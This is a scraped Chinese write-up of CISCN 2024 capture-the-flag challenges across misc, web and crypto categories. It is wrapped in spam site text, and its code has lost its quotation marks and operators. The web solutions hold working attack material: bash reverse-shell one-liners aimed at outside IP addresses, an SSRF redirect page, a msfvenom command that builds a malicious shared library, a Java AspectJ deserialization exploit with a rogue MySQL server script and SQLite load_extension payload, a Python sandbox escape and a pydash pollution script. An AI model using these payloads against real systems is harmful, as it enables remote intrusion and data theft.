百度海外视频网站建设微信网页版客户端

当前位置: 首页 > news >正文

百度海外视频网站建设,微信网页版客户端,景点网站开发积极意义,wordpress七牛cdn设置一、MISC 1.火锅链观光打卡 打开后连接自己的钱包#xff0c;然后点击开始游戏#xff0c;答题八次后点击获取NFT#xff0c;得到有flag的图片 没什么多说的#xff0c;知识问答题 兑换 NFT Flag{y0u_ar3_hotpot_K1ng} 2.Power Trajectory Diagram 方法1#xff1a; 使用p… 一、MISC 1.火锅链观光打卡 打开后连接自己的钱包然后点击开始游戏答题八次后点击获取NFT得到有flag的图片 没什么多说的知识问答题 兑换 NFT Flag{y0u_ar3_hotpot_K1ng} 2.Power Trajectory Diagram 方法1 使用py中的 numpy 和 pandas 库读取 npz文件 并保存为csv文件代码如下 import numpy as np import pandas as pd np.set_printoptions(thresholdnp.inf) a1 np.load(attachment.npz, allow_pickleTrue) print(a1.files) print(read:, a1) index a1[index] myin a1[input] myout a1[output] mytra a1[trace] # print(mytra.shape) df pd.DataFrame(mytra) df.to_csv(data1.csv, indexFalse) df1 pd.DataFrame({index:index, input: myin}) df1.to_csv(data2.csv, indexFalse) 得到data1.csv、data2.csv合并得到data.csv。 打开data.csv可以看到功耗数据根据https://zhuanlan.zhihu.com/p/157585244我认为该题的关键是在于找到与其它字符不同的字符就是该index的正确密码。 基于此利用Excel的折线图功能例如第四个字符如图所示 可以看出有一条绿色线与其它线都不同为c所以第四个字符就是c。 依次重复得到整个密钥_ciscn2024 即flagflag{_ciscn2024} 方法2 测试代码 import numpy as np import matplotlib import matplotlib.pyplot as plt matplotlib.use(tkAgg) data np.load(./attachment.npz) print(data.files) aa data[data.files[0]] bb data[data.files[1]] cc data[data.files[2]] dd data[data.files[3]] print(len(aa), aa) print(len(bb), bb) print(len(cc), cc) print(len(dd), dd) for i in range(len(dd)): plt.scatter([i for i in range(len(dd[i]))], dd[i]) plt.show() 从 npz 文件中提取到四个文件的值output 为空其他 3 个文件提取的数组长度都是 520根据   index 每 40 个可得出一个明文大致判断共有 13 个明文。 input是一个表 output 为空 trace 里的数据都是小数 尝试对 trace 里的数据画点图 发现每组数据的最大值有很多点最小值的点只有几个所以我们尝试找出trace每组数据的最小值的下标 import numpy as np data np.load(./attachment.npz) dd data[data.files[3]] for i in range(len(dd)): min_index np.argmin(dd[i]) print(fMinimum index for group {i}: {min_index}) 除了最后一组数据全为 985其余数据中都有其他不同的数字 用每四十组数据的最小值的下标再画一次图分析发现最大值只有一个所以我们需要继续找最大值的下标然后再从input表中获取对应的字符即可 exp import numpy as np import matplotlib.pyplot as plt f np.load(./attachment.npz) index f[index] ip f[input] tr f[trace] flag for _ in range(13): t [] table ip[40_:40(1)] for i in range(40): # 每个列表画一个散点图发现最小值 # plt.scatter([i for i in range(len(tr[*40i]))], tr[*40i]) # plt.show() # 获取该列表的最小值的下标 min np.argmin(tr[*40i]) # 将最小值的下标插入新列表 t.append(min) # 用 40 个列表的最小值的下标作为数据画图发现有最大值 for i in range(len(t)): plt.scatter([i for i in range(len(t))], np.array(t)) plt.show() # 求最大值的下标 mins np.argmax(t) # 用下标从表里取字符 ind table[mins] # 把字符加到flag里 flag ind print(flag) 得到_ciscn_2024_a 由于前面最后一组数据全是 985因此最后一组数据得出的 a 不算 去掉 a 得到最终flag为flag{_ciscn2024} 3.神秘的文件 方法1 究极套娃看的眼睛都要花了真就纯找。得到PPT文件直接改后缀为.zip去找 part1 在docProps目录下的两个xml中app.xml提示了解密算法core.xml提示了密文和密钥key直接上赛博 part2 在ppt/embeddings文件夹下的docx中从PPT打开的话就是第二章左上角那块黑色的双击就行打开后全选改字体大小改颜色凯撒偏移量10解密然后base64解密得到part2 part3 在vbaProject.bin中这个真的找了好久后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系叫VBA工程解密。先010打开vbaProject.bin找DPB字节把最后一位改成x然后保存之后改后缀为.zip直接打开会发现其中内涵的文件打开VBA文件夹下的模块一 发现一段密文不知道是啥但是提示是base64之后的那就先解密呗然后得到乱码一般这种特殊字符多的不是RC4就是rot最后发现是无密码RC4解密然后再解一层base64 part4 直接打开PPT(因为它是由media文件夹下的图片拼成的)第三张好像是要选可见隐藏字符因为我电脑自动默认选的所以直接可以看base64解码 part5 是在第五章ppt的注释中直接赛博厨师帽跑多层base64解码得到第五部分 part6 是在第五张PPT正文边界的左上角把它界面缩放或者直接拆media文件夹都可以base64解码 part7 是在ppt\slides下的slides4.xml中id4的位置下面提示rot13 all暗示包括numberbase64解码 part8 在slideLayout2.xml中南平最开始没理解最后是啥意思连一起了才看懂。。。。就是要除去上面字符串中的Bb13。。。然后base64解码 part9 直接在media文件夹下看那个猫人的图片左下角base64解码 part10 在comment1.xml中维吉尼亚解码密钥是furry 总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9}  方法2 先是一些简单容易找到的按照提示规则进行 base64、维吉尼亚、凯撒等解码即可 PPT 里面找到了很多东西 改zip后缀在 world 文档里有发现 图片 总共可以得到 part2:675efb Payt4:6f-40 pArt5:5f-90d ParT6:d-2 parT9:deH PARt10:9} 下面的一些就需要更加仔细了 在压缩包里找到了二进制文件 i13POMdzEAzHfy4dGSvUA 这里是 base64RC4base64 得到 PArt3:3-34 ppt 文件属性 密文QFCfpPQ6ZymuM3gq 加密方式bifld  Key:lanjing; 得到Part1:flag{e ppt母版 去掉Bb13后解 base64 得到 paRt8:87e 选择窗格 Rot13base64 得到PART722b3 拼接得到最终 flag flag{e675efb3-346f-405f-90dd-222b387edee9} 4.大学生安全测试能力调研问卷 填问卷 5.通风机 方法1 得到mwp文件010打开补全前三位文件头使用V4.0 STEP 7 MicroWIN SP9打开每个地方都看看之前没见过最后在符号表中找到flag base64解码后得到flag 方法2 使用 binwalk 可以分离出一个zlib文件使用python解压代码如下 import zlib def decompress_zlib_file(input_filename, output_filename): with open(input_filename, rb) as compressed_file: compressed_data compressed_file.read() decompressed_data zlib.decompress(compressed_data) with open(output_filename, wb) as output_file: output_file.write(decompressed_data) # Example usage input_file 35.zlib output_file decompressed_data.txt decompress_zlib_file(input_file, output_file) 用Winhex 打开 decompressed_data.txt可以看到经过base64编码后的flag。 解码得到flag 6.盗版软件 两个文件 第一个dmp改后缀为data,用gimp2调一下参数得到域名 winhack.com 之后找ip微步找释放文件 dump下来loader没啥用看output.png 发现有个zip提取出来 发现是base85解密之后觉得是shellcode改后缀为bin放微步跑得到ip winhack.com39.100.72.235 7.DNS 发现域名很多二进制提取出来转二维码CQR扫一下 得到一段密码 之后继续看 发现有两种流 dns.id0x6421 dns.id0x4500 分别提取一个得到压缩包压缩包用二维码得到的解密 另一个得到乱码file一下发现压缩包得到是pgp 不知道key看题目描述经过尝试发现revhexrev可以成功import 之后把乱码文件处理一下decrypt 二、WEB 1.Simple_php 题目描述小明在学习CTF的过程中遇到了一道PHP的题目以他有限的水平做不出来可以帮帮他吗 直接给了源码 paste或者rev可以读文件 发现一个异常情况具有mysql用户或许可以从这里入手 看出mysql服务开启 cmdmysql –version ps -aux命令执行结果可以确认靶机有mysql服务 同时根目录下没有flag BURP发包 cmdl%0as / 为了命令执行不受限反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号变量类型自动判断如果十六进制开头是数字那么我设置的变量\(a会被判断为数字从而报错无法执行。 cmdphp -r \)aff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin(\(a)); mysql -uroot -proot -e show databases; mysql -uroot -proot -e use PHP_CMS;show tables; mysql -uroot -proot -e use PHP_CMS;SELECT * FROM F1ag_Se3Re7; 2.easycms 题目描述简单的cms可以扫扫看 hint 提示1 /flag.php  if(\)_SERVER[REMOTE_ADDR] ! 127.0.0.1){ echo Just input cmd From 127.0.0.1; return; }else{ system(\(_GET[cmd]); } 提示2github找一下源码? 敏感目录 /flag.php /install.php /Readme.txt /Readme.txt是乱码在线恢复一下 迅睿CMS官方下载地址https://www.xunruicms.com/down/ #### 安装路径 将网站运行目录(主目录)设置为public(如果没有就忽略设置? 安装环境监测?/test.php 程序安装地址?/install.php 后台登录地址?/admin****.php?****是随机的? 重置后台地址https://www.xunruicms.com/doc/1097.html 首次使用方法https://www.xunruicms.com/doc/631.html #### 运行环境 Laravel内核PHP8.0及以? ThinkPHP内核PHP7.4及以? CodeIgniter内核PHP7.4及以? CodeIgniter72内核PHP7.2及以? MySQL数据库MySQL5及以上推荐5.7及以? #### 内核切换方法 https://www.xunruicms.com/doc/1246.html 无法重新安装 hint的源码告诉我们flag.php存在ssrf可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHPMySQLCodeigniter架构基于MIT开源协议发布免费且不限制商业使用允许开发者自由修改前后台界面中的版权信息。 信息搜集存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com) 定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数 thumb参数可控 定位xunruicms-master\dayrui\Fcms\Core\Helper.php dr_catcher_data函数存在SSRF 302.php拿不到回显所以只能反弹shell ?php //header(HTTP/1.1 302 found);  //header(Location:http://127.0.0.1:1337/flag); //header(Location:file:///etc/passwd); header(Location:http://127.0.0.1/flag.php?cmdbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22); exit(); ? payload /index.php?sapicapimqrcodetext111size111level1thumbhttp://120.46.41.173/Jay17/302.php 3.easycms_revenge 和上题一样改一下302.php的内容 GIF89a html ?php header(Location:http://127.0.0.1/flag.php?cmdbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22);? /html 这里注意细节靶机发了两次请求第一次我们就返回一个正常的图片第二次请求就发一个302php代码块要用html标签包裹 4.ezjava /app/BOOT-INF/lib下删了jackson不然就能直接打POJONode 依赖里有AspectJWeaver打任意文件写入 https://blog.csdn.net/uuzeray/article/details/136595841 后续还可以配合sqlite加载恶意so文件 https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md 然后AJ链子的入口要调用map.put 自定义类UserBean#readObject就可以配合利用 最终思路就是先mysql打入恶意反序列化数据写入so文件再sqlite加载恶意so文件 生成恶意so文件 msfvenom -p linux/x64/exec CMDecho YmFzaCAtYyAiYmFzaCAtaSAJiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDAJjEi|base64 -d|bash -f elf-so -o evil.so 将生成的恶意序列化数据写入output.ser package com.example.jdbctest.exp; import com.example.jdbctest.bean.UserBean; import java.io.ByteArrayOutputStream; import java.io.FileOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.Base64; public class EXP { // 获取指定类的第一个构造函数并设置为可访问 public static Constructor? getCtor(final String name) throws Exception { final Constructor? ctor Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } // 创建一个UserBean对象将evil.so的内容Base64编码后存入UserBean中 public static Object getObject() throws Exception { String filename ../../../../../../../../../../../../tmp/evil.so; // 路径指向/tmp/evil.so Path filePath Paths.get(C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so); // 假设evil.so位于当前目录 byte[] fileBytes Files.readAllBytes(filePath); // 读取文件字节 String content Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码 UserBean bean new UserBean(filename, content); // 创建UserBean实例 Constructor? ctor getCtor(org.aspectj.weaver.tools.cache.SimpleCache\)StoreableCachingMap); Object simpleCache ctor.newInstance(., 12); // 实例化一个SimpleCache对象 bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性 return bean; } // 序列化一个对象到字节数组 public static byte[] serialize(Object object) throws Exception { ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(object); oos.close(); return baos.toByteArray(); } // 主函数序列化对象并将其写入文件 public static void main(String[] args) throws Exception { byte[] serialized serialize(getObject()); // 序列化对象 String fileName output.ser; // 输出文件名 // 使用FileOutputStream将字节数据写入文件 FileOutputStream fos new FileOutputStream(fileName); fos.write(serialized); fos.close(); // 关闭文件输出流 } } 起一个恶意mysql服务回包为恶意序列化数据 import socket import binascii import os greeting_data4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400 response_ok_data0700000200000002000000 def receive_data(conn): data conn.recv(1024) print([] Receiveing the package : {}.format(data)) return str(data).lower() def send_data(conn,data): print([] Sending the package : {}.format(data)) conn.send(binascii.a2b_hex(data)) def get_payload_content(): file routput.ser if os.path.isfile(file): with open(file, rb) as f: payload_content str(binascii.b2a_hex(f.read()),encodingutf-8) print(open successs) else: print(open false) #calc payload_contentaced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878 return payload_content # 主要逻辑 def run(): while 1: conn, addr sk.accept() print(Connection come from {}:{}.format(addr[0],addr[1])) # 1.先发送第一个 问候报文 send_data(conn,greeting_data) while True: # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok receive_data(conn) send_data(conn,response_ok_data) #其他过程 datareceive_data(conn) #查询一些配置信息,其中会发送自己的 版本号 if session.auto_increment_increment in data: _payload01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000 send_data(conn,_payload) datareceive_data(conn) elif show warnings in data: _payload 01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000 send_data(conn, _payload) data receive_data(conn) if set names in data: send_data(conn, response_ok_data) data receive_data(conn) if set character_set_results in data: send_data(conn, response_ok_data) data receive_data(conn) if show session status in data: mysql_data 0100000102 mysql_data 1a000002036465660001630163016301630c3f00ffff0000fc9000000000 mysql_data 1a000003036465660001630163016301630c3f00ffff0000fc9000000000 # 为什么我加了EOF Packet 就无法正常运行呢 # //获取payload payload_contentget_payload_content() # //计算payload长度 payload_length str(hex(len(payload_content)//2)).replace(0x, ).zfill(4) payload_length_hex payload_length[2:4] payload_length[0:2] # //计算数据包长度 data_len str(hex(len(payload_content)//2 4)).replace(0x, ).zfill(6) data_len_hex data_len[4:6] data_len[2:4] data_len[0:2] mysql_data data_len_hex 04 fbfc payload_length_hex mysql_data str(payload_content) mysql_data 07000005fe000022000100 send_data(conn, mysql_data) data receive_data(conn) if show warnings in data: payload 01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000 send_data(conn, payload) break 先利用mysql打AJ链子写入恶意so文件 { type:1, url:jdbc:mysql://124.222.136.33:3309/a?autoDeserializetruequeryInterceptorscom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor } 再打sqlite指定tableName加载写入的恶意so文件反弹shell { type:3, tableName:(select (load_extension(\/tmp/evil.so)));, url:jdbc:sqlite:file:/tmp/db?enable_load_extensiontrue } 根目录下拿到flag 5.mossfern 考的python栈帧沙箱逃逸获取到外部的栈帧就可以用f_globals去获取沙箱外的全局变量 https://xz.aliyun.com/t/13635 https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/ 最后注意要将获取的变量元组转字符串再用逗号分隔依次输出从而绕过seed def getflag(): def f(): yield g.gi_frame.f_back g f() frame[x for x in g][0] gattr frame.f_back.f_back.f_back.f_locals[builtins] code frame.f_back.f_back.f_back.f_code dir gattr.dir str gattr.str print(dir(code)) for i in str(code.co_consts): print(i,end,) getflag() 6.sanic sanic 是一个类似flask的web框架 扫目录 访问./src from sanic import Sanic from sanic.response import text, html from sanic_session import Session import pydash # pydash5.1.2 class Pollute: def init(self): pass app Sanic(name) app.static(/static/, ./static/) Session(app) app.route(/, methods[GET, POST]) async def index(request): return html(open(static/index.html).read()) app.route(/login) async def login(request): user request.cookies.get(user) if user.lower() adm;n: request.ctx.session[admin] True return text(login success) return text(login fail) app.route(/src) async def src(request): return text(open(file).read()) app.route(/admin, methods[GET, POST]) async def admin(request): if request.ctx.session.get(admin) True: key request.json[key] value request.json[value] if key and value and type(key) is str and . not in key: pollute Pollute() pydash.set(pollute, key, value) return text(success) else: return text(forbidden) return text(forbidden) if name main: app.run(host0.0.0.0) sanic可以通过用八进制adm\073n绕过cookie COOKIE_NAME_RESERVED_CHARS re.compile( [\x00-\x1F\x7F-\xFF(),;:\\/[\]?{} \x09] ) OCTAL_PATTERN re.compile(r\[0-3][0-7][0-7]) QUOTEPATTERN re.compile(r[\].) 在绕过admin后可以打pydash原型链污染waf掉了. pydash有这样一段处理 def to_path_tokens(value): Parse value into :class:PathToken objects. if pyd.is_string(value) and (. in value or [ in value): # Since we cant tell whether a bare number is supposed to be dict key or a list index, we # support a special syntax where any string-integer surrounded by brackets is treated as a # list index and converted to an integer. keys [ PathToken(int(key[1:-1]), default_factorylist) if RE_PATH_LIST_INDEX.match(key) else PathToken(unescape_path_key(key), default_factorydict) for key in filter(None, RE_PATH_KEY_DELIM.split(value)) ] elif pyd.is_string(value) or pyd.is_number(value): keys [PathToken(value, default_factorydict)] elif value is UNSET: keys [] else: keys value return keys def unescape_path_key(key): Unescape path key. key key.replace(r\, \) key key.replace(r., r.) return key 这段代码主要包含了两个函数to_path_tokens 和 unescape_path_key用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结 1. to_path_tokens 函数 目的将输入的 value 转换为 PathToken 对象的列表这些对象表示数据结构中的路径点。 处理逻辑 对字符串形式的路径进行分解处理点(.)和方括号([)来区分不同的路径段。 根据路径段的内容区分处理为列表索引或字典键。 对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。 使用正则表达式帮助分割和识别路径中的关键部分。 2. unescape_path_key 函数 目的处理路径键中的转义字符将转义序列转换为对应的实际字符。 实现细节 替换路径键中的双反斜杠 (\) 为单反斜杠 ()。 替换路径键中的转义点 (.) 为点 (.)。 给出脚本: import requests url http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show s requests.Session() s.cookies.update({ user: adm\073n }) s.get(url /login) # 开启目录浏览 # data {key: class\\.init\\.globals\\.app.router.name_index.mp_main.static.handler.keywords.directory_handler.directory_view, value: True} # 污染目录路径 # data {key: class\\.init\\.globals\\.app.router.name_index.mp_main.static.handler.keywords.directory_handler.directory._parts, value: [/]} # r s.post(url /admin, jsondata) # print(r.text) # 获取flag路径 # r s.get(url /static/) # print(r.text) #污染file读取flag # data {key: class\\.init\\.globals\\.file, value: /24bcbd0192e591d6ded1_flag} # r s.post(url /admin, jsondata) # print(r.text) # print(s.get(url /src).text) 三、Crypto 1、OvO 题目描述 from Crypto.Util.number import * from secret import flag nbits 512 p getPrime(nbits) q getPrime(nbits) n p * q phi (p-1) * (q-1) while True: kk getPrime(128) rr kk 2 e 65537 kk * p rr * ((p1) * (q1)) 1 if gcd(e, phi) 1: break m bytes_to_long(flag) c pow(m, e, n) e e 200 200 print(fn {n}) print(fe {e}) print(fc {c}) n 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967 e 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104 c 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823 给的 e 其实就是 d只是结果是移位后的输出n 很大无法分解但 kk 与 rr 很小由 rr e//n 即可推出 rr 和 kk又由 e x kkp rr((p1)* (q1)) 1 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程就能求出 p, q 的上下界这样就有p 和q 的高位枚举未知位尝试coppersmith 直到分解出结果最后代入求 e 和 d进而求得flag。 cop 攻击exp # SageMath script to factor n and decrypt the message n 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967 e 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104 c 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823 def partial_p(p0, n, bits): PR.x PolynomialRing(Zmod(n)) f p0 x f f.monic() roots f.small_roots(X2^(bits5), beta0.3) if roots: x0 roots[0] p gcd(p0 x0, n) return ZZ(p) def find_p(eh, n, bits): RR RealField(1000) PR.x PolynomialRing(RR) f (kkrr)x**2 (rr(n1)65538)*x rr*n - eh*x results f.roots() if results: for x in results: p_high int(x[0]) 4 4 p partial_p(p_high, n, bits) if p and p ! 1: return p # Calculating rr and kk based on given e and n rr e // n kk rr - 2 # Finding p p find_p(e, n, 200) if p: q n // p phi_n (p - 1) * (q - 1) # Computing the new e based on kk and rr new_e 65537 kk * p rr * ((p 1) * (q 1)) 1 # Computing the private key d d inverse_mod(new_e, phi_n) # Decrypting the ciphertext m power_mod(c, d, n) print(bytes.fromhex(hex(m)[2:])) else: print(Failed to find p.) 拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c} 2、古典密码 密文AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9 三层解密埃特巴什base64栅栏 拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3} 3.ez_rsa 题目描述 ezrsa.py: from Crypto.Util.number import * from Crypto.PublicKey import RSA import random from secret import flag m bytes_to_long(flag) key RSA.generate(1000) passphrase str(random.randint(0,999999)).zfill(6).encode() output key.export_key(passphrasepassphrase).split(b\n) for i in range(7, 15): output[i] b* * 64 with open(priv.pem, wb) as f: for line in output: f.write(line b\n) with open(enc.txt, w) as f: f.write(str(key._encrypt(m))) enc.txt: 55149764057291700808946379593274733093556529902852874590948688362865310469901900909075397929997623185589518643636792828743516623112272635512151466304164301360740002369759704802706396320622342771513106879732891498365431042081036698760861996177532930798842690295051476263556258192509634233232717503575429327989 priv.pem: —–BEGIN RSA PRIVATE KEY—– Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,435BF84C562FE793 9phAgeyjnJYZ6lgLYflgduBQjdXV/Ph/fO8QB2ZubhBVOFJMHbwHbtgBaN3eGlh WiEFEdQWoOFvpip0whr4r7aGOhavWhIfRjiqfQVcKZx4/f02W4pcWVYo9/p3otdD igkofIR9Ky8o9vQk7H1eESNMdq3PPmvd7KTE98ZPqtIIrjbSsJ9XRLgr5a91gH **************************************************************** **************************************************************** **************************************************************** **************************************************************** **************************************************************** **************************************************************** **************************************************************** **************************************************************** hQds7ZdA9yvyKUYv2e4de8RxX356wYq7r8paBHPXisOkGIVEBYNviMSIbgelkSI jLQkaZmC2YOgY/DgGJ82JmFG8mmYCcSooGL4ytVUY9dZa1khfhceg —–END RSA PRIVATE KEY—– 题目分析 第一部分先略过吧不想看 直接跳到后面阶段 得到的数据有 n 0x00a18f011bebacceda1c6812730b9e62720d3cbd6857af2cf8431860f5dc83c5520f242f3be7c9e96d7f96b41898ff000fdb7e43ef6f1e717b2b7900f35660a21d1b16b51849be97a0b0f7cbcf5cfe0f00370cce6193fefa1fed97b37bd367a673565162ce17b0225708c032961d175bbc2c829bf2e16eabc7e0881feca0975c81 e 0x10001 inv 0x5f152c429871a7acdd28be1b643b4652800b88a3d23cc57477d75dd5555b635167616ef5c609d69ce3c2aedcb03b62f929bbcd891cadc0ba031ae6fec8a2116d dqlow 0x8f2363b340e5 4.checkin 题目描述 from Crypto.Util.number import * from secret import flag p getPrime(512) q getPrime(512) n p*q x 2021*p1120*q h (inverse(x,n)x)%n e 65537 c pow(bytes_to_long(flag), e, n) print(n , n) print(c , c) print(h , h) print(p0 , p 490) # n 124592923216765837982528839202733339713655242872717311800329884147642320435241014134533341888832955643881019336863843062120984698416851559736918389766033534214383285754683751490292848191235308958825702189602212123282858416891155764271492033289942894367802529296453904254165606918649570613530838932164490341793 # c 